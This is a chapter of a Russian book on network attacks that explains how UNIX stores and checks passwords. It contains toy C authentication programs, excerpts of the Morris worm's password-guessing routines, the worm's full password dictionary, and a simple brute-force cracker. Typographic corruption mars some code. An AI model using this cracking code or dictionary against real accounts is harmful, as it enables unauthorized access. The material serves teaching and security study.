"ТЕХНИКА СЕТЕВЫХ АТАК" - читать интересную книгу автора (Касперский Крис)

Атака на UNIX

O Как хранятся пароли в UNIX

O Что такое привязка?

O Атака на пароль

O Червь Морриса

O Теневые пароли

O Иерархия пользователей

O Тьюринговая атака Томпсона

O Как утащить файл паролей?

O Как устроена функция Crypt

O Перехват личной почты

O Использование конвейера и перенаправления ввода-вывода для атаки

O Доверительные хосты

O Атака Кевина Митника


– То, что вы видите перед собой, - это самое хитрое электронное оружие среди всего, что человечеству удалось пока создать. Система бронирована не хуже какого-нибудь крейсера. И она обязана быть такой, поскольку в мире полным-полно хитрых сторожевых программ, которые вцепляются, подобно терьерам, в любого не прошенного гостя и держат его мертвой хваткой. John Warley “Press Enter”

«Нынешние кракеры, наверное, кусают себе локти, что родились не 10 лет назад, - ведь тогда хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest. Видимо, большинство хостов (в том числе и военных - в те времена возможность проникновения в секретные хосты не являлась мифом) вскрывались именно так». - писали в своей книге «Атака через Internet Илья Медведовский и Павел Семьянов.

Конечно, сегодня появилось много современных методов аутентификации пользователя, например основанных на биометрических показателях, но ни один из них не получил широкого распространения, и подавляющее большинство защит до сих пор действуют по парольной схеме.

Неудачный выбор пароля и на сегодняшний день остается одной из главных причин успешности большинства атак. Несмотря на все усилия администраторов, рекомендующих пароли в виде бессмысленной нерегулярной последовательности символов наподобие «acs95wM$», пользователи и простые словарные слова запомнить не всегда в состоянии и порой выбирают “12345” или “qwerty”.

Поэтому, подобрать пароль иной раз удается и тривиальным перебором. Разумеется, не обязательно вводить предполагаемые варианты вручную - процесс легко автоматизировать, использовав любую подходящую программу или написав ее самостоятельно (подробнее об этом рассказано в главе «Как устроен генератор паролей»).

Но простой перебор бессилен против современных систем, оснащенных “intruder detection” (в переводе на русский язык- обнаружение нарушителя). Стоит при вводе пароля ошибиться несколько раз подряд - как доступ к системе окажется заблокированным. Шансы же угадать пароль менее чем за десять-двенадцать попыток, равны нулю. Даже если опция “intruder detection” не установлена, скорость перебора окажется крайне низкой, в силу медлительности процесса авторизации.

Очевидно, атакующему приходится искать другие пути. Например, попытаться получить содержимое файла паролей. Однако еще в самых ранних версиях операционной системы UNIX разработчики предвидели последствия хранения паролей в открытом виде и приняли необходимые меры безопасности. В UNIX все пароли хранятся в зашифрованном виде, и даже если подсмотреть содержимое файла паролей, - это ничего не даст. Если, конечно, их не удастся расшифровать. Одни утверждают, дескать, это математически невозможно, другие же проникают в чужие системы, в обход математики. И ниже будет показано как.

Строго говоря, выражение «зашифрованные пароли» в отношении UNIX технически безграмотно. Шифрование в общем случае представляет собой обратимое преобразование: если злоумышленники зашифровали свой секретный плат захвата Белого Дома, а, расшифровав, получили Уголовный Кодекс, то уже не шифрование получается! Но в UNIX дела обстоят еще хуже. Зашифровать-то пароль она зашифрует, но вот расшифровать обратно его не сможет ни злоумышленник, ни легальный пользователь, ни даже сама система! Удивительно, как же она ухитряется работать и безошибочно отличать «своих» от «чужих»?

На самом деле ничего удивительно здесь нет! И подобный алгоритм авторизации известен уже давно. Но прежде, чем приступать к его изучению, рассмотрим, классический способ побайтовой сверки паролей. Для этого окажется не лишним написать коротенькую тестовую программу на языке Си, например, такую (смотри “/SRC/passwd.simple.c”).

· #include «stdio.h» · #include «string.h» · · void main() · { · char buf[100],fbuf[100]; · FILE *f; · if (!(f=fopen("passwd.simple","r"))) return; · printf("Enter password:"); · fgets( amp;buf[0],100,stdin); · fgets( amp;fbuf[0],100,f); · if (strcmp( amp;buf[0], amp;fbuf[0])) · printf("Wrong password!\n"); · else · printf("Password ok\n"); ·}

Ядро этой простейшей системы аутентификации состоит всего из одной строки (в листинге она выделена жирным шрифтом), побайтно сравнивающей строку, введенную в качестве пароля, со строкой, считанную из файла паролей.

Разумеется, файл паролей необходимо сформировать загодя, и для этого пригодится программа, исходный текст которой приведен ниже (а на диске она находится под именем “/SRC/passwd.simple.add.new.user”):

· #include «stdio.h» · · void main(int count, char ** arg) · { · char buf[100]; · FILE *f; · if (!(f=fopen("passwd.simple","w"))) return; · printf("Enter password:"); · fgets( amp;buf[0],100,stdin); · fputs( amp;buf[0],f); · fclose(f); ·}

На запрос “Enter password:” введем любой пришедший на ум пароль. Например, “MyGoodPassword”. Запустив “passwd.simple.exe” убедимся: программа уверенно распознает правильные и ложные пароли, работая на первый взгляд как будто безупречно.

К сожалению, такую защиту очень легко обойти. Если есть доступ к файлу паролей (а если его не будет, как изволите извлекать пароли для проверки?) тривиальный просмотр содержимого позволит получить пароли всех пользователей, а это никак не входит в планы разработчиков защиты.

Для разминки воспользуемся командой “type passwd.simple” и на экране незамедлительно появится содержимое файла паролей:

· type passwd.simple

· MyGoodPassword

Разработчики UNIX нашли оригинальное решение, прибегнув к необратимому преобразованию - хешированию. Предположим, существует некая функция f, преобразующая исходную строку к некой последовательности байт таким образом, чтобы обратный процесс был невозможен или требовал огромного объема вычислений, заведомо недоступного злоумышленнику. Математички это можно записать как:

· f(passwd) -» x

Вся изюминка в том, что если строка s1 равна строке s2, то и f(s1) заведомо равно f(s2). А это дает возможность отказаться от хранения паролей в открытом виде. В самом деле, вместо этого можно сохранить значение функции f(passwd), где passwd оригинальный пароль. Затем применить ту же хеш-функцию к паролю, введенному пользователем (userpasswd), и, если f(userpasswd) - f(passwd), то и userpasswd - passwd! Поэтому, доступность файла «зашифрованных» паролей уже не позволяет воспользоваться ими в корыстных целях, поскольку по условию функция f гарантирует, что результат ее вычислений необратим, и исходный пароль найти невозможно.

Сказанное легче понять, самостоятельно написав простейшую программу, работающую по описанной выше методике. Сначала необходимо выбрать функцию преобразования, отвечающую указанным условиям. К сожалению, это сложная задача, требующая глубоких познаний криптографии и математики, поэтому, просто посчитаем сумму ASCII кодов символов пароля и запомним результат. Пример реализации такого алгоритма приведен ниже (смотри файл “passwd.add.new.user.c”):

· #include «stdio.h» · #include «string.h» · · void main() · { · char buf[100],c; · int sum=0xDEAD,i=0; · FILE *f; · · if (!(f=fopen("passwd","w"))) return; · printf("Enter password:"); · fgets( amp;buf[0],100,stdin); · while(buf[i]) · { · c=buf[i++]; · sum+=c; · } · _putw(sum,f); ·}

Запустим откомпилированный пример на выполнение и в качестве пароля введем, например, “MyGoodPassword”. Теперь напишем программу, проверяющую вводимый пользователем пароль. Один из возможных вариантов реализации показан ниже (смотри файл “/SRC/passwd.c”):

· #include «stdio.h» · #include «string.h» · · void main() · { · char buf[100],c; · int sum=0xDEAD,i=0,_passwd; · FILE *f; · · if (!(f=fopen("passwd","r"))) return; · printf("Enter password:"); · fgets( amp;buf[0],100,stdin); · _passwd=_getw(f); · · while(buf[i]) · { · c=buf[i++]; · sum+=c; · } · if (sum-_passwd) · printf("Wrong password!\n"); · else · printf("Password ok\n"); · ·}

Обратите внимание на выделенные строки - и в том, и в другом случае использовалась одна и та же функция преобразования. Убедившись в умении программы отличать «свои» пароли от «чужих», заглянем в файл “passwd”, отдав команду “type passwd”:

· type passwd · Yф

Совсем другое дело! Попробуй-ка, теперь угадай, какой пароль необходимо ввести, что система его пропустила. Строго говоря, в приведенном примере это можно без труда и задача решается едва ли не в уме, но условимся считать выбранную функцию односторонней и необратимой.

Из односторонности функции следует невозможность восстановления оригинального пароля по его хешу, и доступность файла passwd уже не позволит злоумышленнику проникнуть в систему. Расшифровать пароли невозможно, потому что их там нет. Другой вопрос, удастся ли подобрать некую строку, воспринимаемую системой как правильный пароль? К обсуждению этого вопроса мы еще вернемся позже, а для начала рассмотрим устройство механизма аутентификации в UNIX.

Первые версии UNIX в качестве односторонней функции использовали модифицированный вариант известного криптостойкого алгоритма DES. Под криптостойкостью в данном случае понимается гарантированная невозможность вычисления подходящего пароля никаким иными способом, кроме тупого перебора. Впрочем, существовали платы, реализующие такой перебор на аппаратном уровне и вскрывающие систему за разумное время, поэтому пришлось пойти рискованный шаг, внося некоторые изменения в алгоритм, «ослепляющие» существующее «железо». Риск заключался в возможной потере криптостойкости и необратимости функции. К счастью, этого не произошло.

Другая проблема заключалась в совпадении паролей пользователей. В самом деле, если два человека выберут себе одинаковые пароли, то и хеши этих паролей окажутся одинаковыми (а как же иначе?). А вот это никуда не годится, - в многопользовательской системе шансы подобного совпадения не так малы, как это может показаться на первый взгляд, и в результате возможен несанкционированный доступ к чужим ресурсам.

Разработчики нашли элегантное решение, - результат операции хеширования зависит не только от введенного пароля, но и случайной последовательности бит, называемой привязкой (salt). Разумеется, саму привязку после хеширования необходимо сохранять, иначе процесс не удастся обратить. Однако никакого секрета привязка не представляет, (поскольку шифрует не хеш-сумму, а вводимый пользователем пароль).

Хеш-суммы, привязки и некоторая другая информация в UNIX обычно хранится в файле “/etc/passwd”, состоящего из строк следующего вида:

· kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash

Разберем, что этот дремучий лес обозначает. Первым идет имя пользователя (например, “kpnc”), за ним, отделенное двое точением, следует то, что начинающими по незнанию называется «зашифрованным паролем». На самом деле это никакой не пароль - первые два символа представляют собой сохраненную привязку, а остаток - необратимое преобразование от пароля, то есть хеш. Затем (отделенные двоеточием) идут номер пользователя и номер группы, дополнительная информация о пользователе (как правило, полное имя), а замыкают строй домашний каталог пользователя и оболочка, запускаемая по умолчанию.


Устройство файла /etc/passwd

Шифрование паролей происходит следующим образом, - случайным образом выбираются два символа привязки [100], использующиеся для модификации алгоритма DES. Затем шифруется строка пробелов с использованием пароля в качестве ключа. Полученное 64 битое значение преобразуется в одинадцатисимвольную строку. Спереди к ней дописываются два символа привязки, и на этом весь процесс заканчивается.

Продемонстрировать работу функции crypt поможет следующий пример (на диске он расположен в файле “/SRC/ctypt.c”). Его компиляция потребует библиотеки ast.lib, распространяемой вместе с “UWIN” (смотри главу «Как запускать UNIX приложения на Windows»), если же такой библиотеки у читателя нет, можно воспользоваться готовым к работе файлом “/SRC/crypt.exe”. Для запуска программы в командной строке необходимо указать шифруемый пароль и отделенную пробелом привязку.

· #include «windows.h» · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · printf("%s\n", crypt (argv[1],argv[2])); · return 0; ·}

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению - два символа привязки и 11-символьная хеш-сумма пароля.

Теперь можно реализовать некое подобие подсистемы аутентификации UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле “/SRC/crypt.auth.add.new.user.c”). Для упрощения, поддерживается только один пользователь.

· #include «stdlib.h» · #include «stdio.h» · #include «time.h» · · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · int a; · char salt[3]; · FILE *f; · · salt[2]=0; · srand((unsigned)time(NULL)); · for(a=0;a«2;a++) salt[a]=0x22+(rand() % 0x40); · if (!(f=fopen("passwd","w"))) return -1; · fputs(crypt(argv[1], amp;salt[0]),f); · fclose(f); · return 0; ·}

Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps” [101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны - пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):

· #include «stdio.h» · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · int a=1; · char salt[2]; · char passwd[12]; · char *x; · FILE *f; · · passwd[11]=0; · while(a++) if (argv[1][a]«0x10) {argv[1][a]=0;break;} · · if (!(f=fopen("passwd","r"))) return -1; · fgets( amp;salt[0],3,f); · fgets( amp;passwd[0],12,f); · fclose(f); · · if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2)) · printf("Wrong password!\n"); · else · printf("Password ok\n"); · · return 0; ·}

Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой пароль, - и результат не заставит себя долго ждать.

· crypt.auth.exe 12345

· Password ok

· crypt.auth.exe MyGoodPasswd

· Wrong password!

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно ( nk-0+ nk-1+ nk-2+ nk-3+ nk-4 nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */ · static strat_1()/* 0x61ca */ · { · int cnt; · char usrname[50], buf[50]; · · for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next) · { · /* Every tenth time look for "me mates" */ · if ((cnt % 10) - 0) other_sleep(0); · · /* Check for no passwd */ · // Проверка на пустой пароль · if (try_passwd(x27f2c, XS("))) continue;/* 1722 */ · · /* If the passwd is something like "*" punt matching it. */ · // Если вместо пароля стоит символ-джокер, пропускаем такой пароль · if (strlen(x27f2c-»passwd)!= 13) continue; · · // Попробовать в качестве пароля подставить имя пользователя · strncpy(usrname, x27f2c, sizeof(usrname)-1); · usrname[sizeof(usrname)-1] = '\0'; · if (try_passwd(x27f2c, usrname)) continue; · · // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc) · sprintf(buf, XS("%.20s%.20s"), usrname, usrname); · if (try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре · sscanf(x27f2c-»gecos, XS("%[^,]"), buf); · if (isupper(buf[0])) buf[0] = tolower(buf[0]); · if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля второе расширенное имя пользователя · buf[0] = '\0'; · sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf); · if (isupper(buf[0])) buf[0] = tolower(buf[0]); · if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp; · try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля имя пользователя задом наперед · reverse_str(usrname, buf); · if (try_passwd(x27f2c, buf)); ·} · if (x27f2c - 0) cmode = 2; · return; ·}

То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:

· пустой пароль (вдруг да повезет!)

· имя пользователя (в приведенном примере kpnc)

· удвоенное имя пользователя (kpnckpnc)

· первое расширенное имя в нижнем регистре (kris)

· второе расширенное имя в нижнем регистре (kaspersky)

· имя пользователя задом-наперед (cnpk)

И это работало! Как сейчас утверждается, инфицированными оказались около шести тысяч компьютеров [102]. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.

academia, aerobics, airplane, albany, albatross,

albert, alex, alexander, algebra, aliases,

alphabet, amorphous, analog, anchor, andromache,

animals, answer, anthropogenic, anvils, anything",

aria, ariadne, arrow, arthur, athena,

atmosphere, aztecs, azure, bacchus, bailey,

banana, bananas, bandit, banks, barber,

baritone, bass, bassoon, batman, beater,

beauty, beethoven, beloved, benz, beowulf,

berkeley, berliner, beryl, beverly, bicameral,

brenda, brian, bridget, broadway, bumbling,

burgess, campanile, cantor, cardinal, carmen,

carolina, caroline, cascades, castle, cayuga,

celtics, cerulean, change, charles, charming,

charon, chester, cigar, classic, clusters,

coffee, coke, collins, commrades, computer,

condo, cookie, cooper, cornelius, couscous,

creation, creosote, cretin, daemon, dancer,

daniel, danny, dave, december, defoe,

deluge, desperate, develop, dieter, digital,

discovery, disney, drought, duncan, eager,

easier, edges, edinburgh, edwin, edwina,

egghead, eiderdown, eileen, einstein, elephant,

elizabeth, ellen, emerald, engine, engineer,

enterprise, enzyme, ersatz, establish, estate,

euclid, evelyn, extension, fairway, felicia,

fender, fermat, fidelity, finite, fishers,

flakes, float, flower, flowers, foolproof,

football, foresight, format, forsythe, fourier,

fred, friend, frighten, fungible, gabriel,

gardner, garfield, gauss, george, gertrude,

ginger, glacier, golfer, gorgeous, gorges,

gosling, gouge, graham, gryphon, guest,

guitar, gumption, guntis, hacker, hamlet,

handily, happening, harmony, harold, harvey,

hebrides, heinlein, hello, help, herbert,

hiawatha, hibernia, honey, horse, horus,

hutchins, imbroglio, imperial, include, ingres,

inna, innocuous, irishman, isis, japan,

jessica, jester, jixian, johnny, joseph,

joshua, judith, juggle, julia, kathleen,

kermit, kernel, kirkland, knight, ladle,

lambda, lamination, larkin, larry, lazarus,

lebesgue, leland, leroy, lewis, light,

lisa, louis, lynne, macintosh, mack,

maggot, magic, malcolm, mark, markus,

marty, marvin, master, maurice, mellon,

merlin, mets, michael, michelle, mike,

minimum, minsky, moguls, moose, morley,

mozart, nancy, napoleon, nepenthe, ness,

network, newton, next, noxious, nutrition,

nyquist, oceanography, ocelot, olivetti, olivia,

oracle, orca, orwell, osiris, outlaw,

oxford, pacific, painless, pakistan, papers,

password, patricia, penguin, peoria, percolate,

persimmon, persona, pete, peter, philip,

phoenix, pierre, pizza, plover, plymouth,

polynomial, pondering, pork, poster, praise,

precious, prelude, prince", princeton", protect,

protozoa, pumpkin, puneet, puppet, rabbit",

rachmaninoff, rainbow, raindrop, raleigh, random,

rascal, really, rebecca, remote, rick,

ripple, robotics, rochester, rolex, romano,

ronald, rosebud, rosemary, roses, ruben,

rules, ruth, saxon, scamper, scheme,

scott, scotty, secret, sensor, serenity,

sharks, sharon, sheffield, sheldon, shiva,

shivers, shuttle, signature, simon, simple,

singer, single, smile, smiles, smooch,

smother, snatch, snoopy, soap, socrates,

sossina, sparrows, spit, spring, springer,

squires, strangle, stratford, stuttgart, subway,

success, summer, super, superstage, support,

supported, surfer, suzanne, swearer, symmetry,

tangerine, tape, target, tarragon, taylor,

telephone, temptation, thailand, tiger, toggle,

tomato, topography, tortoise, toyota, trails,

trivial, trombone, tubas, tuttle, umesh,

unhappy, unicorn, unknown, urchin", utility,

vasant, vertigo, vicky, village, virginia,

warren, water, weenie, whatnot, whiting,

whitney, will, william, williamsburg, willie,

winston, wisconsin, wizard, wombat, woodwind,

wormwood, yacov, yang, yellowstone, yosemite,

zimmerman.

Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных их списка наугад, - это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге “/usr/dict/words”. Подтверждает эти слова фрагмент вируса, приведенный ниже:

· static dict_words() · { · char buf[512]; · struct usr *user; · static FILE *x27f30; · · if (x27f30!= NULL) · { · x27f30 = fopen(XS(" /usr/dict/words "), XS("r")); · if (x27f30 - NULL)return; ·} · if (fgets(buf, sizeof(buf), x27f30) - 0) · { · cmode++; · return; ·} · ( amp;buf[strlen(buf)])[-1] = '\0'; · · for (user = x27f28; user; user = user-»next) try_passwd(user, buf); · if (!isupper(buf[0])) return; · buf[0] = tolower(buf[0]); · · for (user = x27f28; user; user = user-»next) try_passwd(user, buf); · return; ·}

Конечно, сегодня наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей, но вместе с этим растет и количество пользователей, - администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому, атака по словарю по-прежнему остается в арсенале злоумышленника. И не только злоумышленника, - ничуть не хуже она служит… администраторам!

В самом деле, - простейший способ уберечь пользователя от слабого пароля - проверить выбранный им пароль по словарю. Любопытно, но словари обеими сторонами (т.е. администраторами и злоумышленниками) обычно берутся из одних и тех же источников, и шансы проникнуть в такую систему, близки к нулю. Вот если бы научится составлять словарь самостоятельно! Но почему нет? Достаточно взять большой текстовой файл и разбить его на слова, отбрасывая заведомо лишние (предлоги, местоимения).

Но даже самый лучший словарь не всегда приводит к успешной атаке. Тем более, пытаясь подобрать пароль администратора, совсем уж тривиальной комбинации ожидать не следует. Но скорость бытовых компьютеров возросла в десятки тысяч раз, и лобовой перебор из утопии превратился в реальность. Там, например, на старших моделях процессора Pentium легко достигнуть скорости в 50.000 паролей в секунду, то есть все комбинации из строчечных латинских букв можно перебрать меньше чем за месяц - вполне приемлемый для злоумышленника срок! А если использовать несколько компьютеров, распараллелив вычисления, время поиска можно уменьшить во много раз - уже с помощью десяти компьютеров (вполне доступных группе злоумышленников) тот же пароль можно найти за пару дней!

Врезка «замечание»

Кену Томпсону приписывается высказывание "When in doubt, use brute force" («Если не знаешь, что выбирать - выбирай грубую силу»)

Ниже приведен демонстрационный вариант программы (на диске, прилагаемом к книге, он находится в файле “/SRC/crypt.ayth.hack.c”), осуществляющей лобовой подбор пароля. Конечно, для практического использования необходимо оптимизировать код, переписав критические участки на ассемблере, но эти вопросы выходят за рамки данной книги, и не рассматриваются в ней.

Перед запуском программы необходимо сформировать на диске файл “passwd” с помощью “crypt.auth.add.new.user”, задав полностью цифровой пароль, например, “12345” (это необходимо для ускорения перебора):

· #include «stdio.h» · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · int a=1,n=0; · char salt[2]; · char passwd[12]; · char hack[12]; · FILE *f; · · if (!(f=fopen("passwd","r"))) return -1; · fgets( amp;salt[0],3,f); · fgets( amp;passwd[0],12,f); · fclose(f); · · for(n=0;n«12;n++) hack[n]=0; hack[0]='0'; · · while(!(n=0)) · { · while(++hack[n]»'9') · { · hack[n]='0'; · if (hack[++n]-0) hack[n]='0'; ·} · printf("=%s\r", amp;hack[0]); · if (!strcmp(crypt( amp;hack[0], amp;salt[0])+2, amp;passwd[0])) · { · printf("\nPassword ok!\n"); · return 0; ·} ·} · return 0; ·}

Таким образом, большинство паролей вполне реально вскрыть за вполне приемлемое время, и такая схема аутентификации в настоящее время не может обеспечить должной защищенности. Конечно, можно попробовать увеличить длину пароля с восьми до десяти-двенадцати символов или использовать более ресурсоемкий алгоритм шифрования, но это не спасло бы от коротких и словарных паролей, поэтому разработчики UNIX пошли другим путем [103].

Перебор (как и словарная атака) возможен в тех, и только в тех случаях, когда атакующий имеет доступ к файлу паролей. Большинство современных операционных систем ограничивают количество ошибочных вводов пароля и после нескольких неудачных попыток начинают делать длительные паузы, обессмысливающие перебор. Напротив, если есть возможность получить хеш-суммы пароля, подходящую последовательность можно искать самостоятельно, не прибегая к услугам операционной системы.

Но в UNIX файл паролей доступен всем пользователям, зарегистрированным в системе, - любой из них потенциально способен подобрать пароли всех остальных, в том числе и администратора! Поэтому, в новых версиях UNIX появились так называемые теневые пароли (shadow passwords). Теперь к файлу паролей у непривилегированного пользователя нет никакого доступа, и читать его может только операционная система. Для совместимости с предыдущими версиями файл “/etc/passwd” сохранен, но все пароли из него перекочевали в “/etc/shadow” (название может варьироваться от системы к системе).

· Файл passw:

· kpnc: x:1032:1032:Kris Kaspersky:/home/kpnc:/bin/bash

· Файл shadow:

· kpnc: $1$Gw7SQGfW$w7Ex0aqAI/0SbYD1M0FGL1:11152:0:99999:7:::

На том месте, где в passwd раньше находился пароль, теперь стоит крестик (иногда звездочка), а сам пароль вместе с некоторой дополнительной информацией помещен в shadow, недоступный для чтения простому пользователю. Описание структуры каждой пользовательской записи приведено ниже (смотри рисунок 015.txt). Легко заметить появление новых полей, усиливающих защищенность системы. Это и ограничение срока службы пароля, и времени его изменения, и так далее. В дополнение ко всему сам зашифрованный пароль может содержать программу дополнительной аутентификации, например: “Npge08pfz4wuk;@/sbin/extra”, однако большинство систем обходится и без нее.


Устройство файла теневых паролей

Кажется, никакая атака невозможна, но это по-прежнему не так [104]. Дело в том, что UNIX разрабатывалась в тот период, когда никакой теории безопасности не существовало, а появления взломщиков никто не мог и представить. В результате, гарантировано обеспечить защищенность существующих клонов UNIX невозможно. Причина заключается в механизме разделения привилегий процессов. Подробное объяснение заняло бы слишком много места, но основную идею можно выразить в двух словах - программа, запускаемая пользователем, может иметь больше прав, чем он сам. К одной из таких программ принадлежит утилита смены пароля, обладающая правом записи в файл “passwd” или “shadow”. В качестве другого примера, можно привести login, имеющий доступ к защищенному файлу “shadow”.

С первого взгляда в этом нет ничего дурного, и все работает успешно до тех пор… пока успешно работает. Если же в программе обнаружится ошибка, позволяющая выполнять незапланированные действия, последствия могут быть самыми удручающими. Например, поддержка перенаправления ввода-вывода или конвейера часто позволяют получить любой файл, какой заблагорассудиться злоумышленнику. Но если от спецсимволов (“«|»”) легко избавиться тривиальным фильтром, то ошибкам переполнения буфера подвержены практически все приложения. Подробнее об этом рассказано в главе «Технология срыва стека», пока же достаточно запомнить два момента - переполнение буфера позволяет выполнить злоумышленнику любой [105] код от имени запушенного приложения и эти ошибки настолько коварны, что не всегда оказываются обнаруженными и после тщательного анализа исходного текста программы.

Такой поворот событий целиком меняет дело - вместо утомительного перебора пароля, без всяких гарантий на успех, достаточно проанализировать исходные тексты привилегированных программ, многие из которых состоят из сотен тысяч строк кода и практически всегда содержат ошибки, не замеченные разработчиками. А в некоторых системах срыву стека подвержен и запрос пароля на вход в систему! Впрочем, такой случай из ряда клинических и не отражает общего положения дел. Однако это ничего не меняет - для атаки вовсе не обязательно регистрироваться в системе, достаточно связаться с любой программой-демоном, исполняющейся с наивысшими привилегиями и обслуживающей псведопользователей.

Врезка «информация»
"Многие люди отождествляют слово "daemon" со словом "demon", подразумевая тем самым некий вид сатанинской общности между ОС UNIX и преисподней. Это вопиющее непонимание. "Daemon" (далее дух - прим. переводчика) на самом деле значительно более древняя форма, чем "demon". Это слово обозначает существ, которые не имеют какой-то конкретной склонности к добру или злу, но предназначены служить определенному типу личности или индивидуальности. Древние греки имели понятие персонального духа, которое соответствовало более современному понятию - ангел-хранитель. Параллельно с этим существовало понятие эвдемонизма, как состояние помощи или защиты со стороны доброго духа. Как правило, UNIX системы частенько кишат и духами и демонами (что, в общем, ни в чем не отличает эти системы от нашего мира - прим. переводчика)." Эви Немет (Evi Nemeth), "Руководство системного администратора UNIX" (Unix System Administration Handbook)

Псевдопользователь находится в самом низу иерархии пользователей, выглядящей следующим образом: во главе всех в UNIX стоит root - то есть суперпользователь, обладающий неограниченными правами в системе. Суперпользователь создает и управляет полномочиями всех остальных, обычных, пользователей. С некоторых пор в UNIX появилась поддержка так называемых специальных пользователей. Специальные пользователи это процессы с урезанными привилегиями. К их числу принадлежит, например, анонимный пользователь ftp, так и называемый anonymous. Строго говоря, никаких особенных отличий между обычными и специальными пользователями нет, но последние обычно имеют номера пользователя и группы (UID и GID соответственно) меньше 100.

Псевдопользователи принадлежат к иной категории, и операционная система даже не подозревает об их существовании. Когда удаленный клиент подключается к WEB-серверу, с точки зрения WEB-сервера он становится пользователем, получающим привилегии, выданные ему сервером. Но операционная система ничего не знает о происходящем. С точки зрения операционной системы, пользователя, подключившегося к приложению-серверу, не существует и его полномочиями управляет исключительно сам сервер. Во избежание путаницы таких пользователей стали называть псевдопользователями.

Обычно псевдопользователи имеют минимальный уровень привилегий, ограниченный взаимодействием с сервером. Ни выполнять команды UNIX (не путать с командами сервера) ни получить доступ к файлу “/etc/passwd” они не в состоянии [106]. Более того, файлы и директории, видимые по FTP и WEB - виртуальные, не имеющие ни чего общего с действительным положением дел. Кажется, псевдопользователи ни чем не угрожают безопасности системы, но на самом деле, это не так.

Поскольку, права псвевдопользователям назначает процесс-сервер, то потенциально псевдопользователи могут наследовать все его привилегии. Даже если программист не предусматривал этого явно, он мог допустить ошибку, позволяющую выполнять любые действия от имени программы. Большинство серверов в UNIX запускаются с правами root и имеют полный доступ ко всем ресурсам системы. Поэтому, псевдопользователь действительно может получить несанкционированный доступ к системе.

Напрашивающийся сам собой выход - запускать серверные приложения с минимальными полномочиями - невозможен, в силу особенностей архитектуры UNIX. Частично ограничить привилегии, разумеется, можно, но грамотная настойка требует определенной квалификации, зачастую отсутствующей у администратора системы. Точно так, невозможно исключить все ошибки в программах. В языке Си отсутствует встроенная поддержка строковых типов и автоматическая проверка «висячих» указателей, выход за границу массивов и так далее. Поэтому, написание устойчиво работающих приложений, состоящих из сотен тысяч строк кода, на нем невероятно затруднено. Иначе устроен, скажем, язык Ада, берущий на себя строгий контроль над программистом. Впрочем, даже он не гарантирует отсутствие ошибок. А ведь это наиболее защищенный на сегодняшний день язык, широко использующийся в программировании космической техники. Проколы в работе программиста неизбежны и любая система потенциально уязвима, пока не доказано обратное.

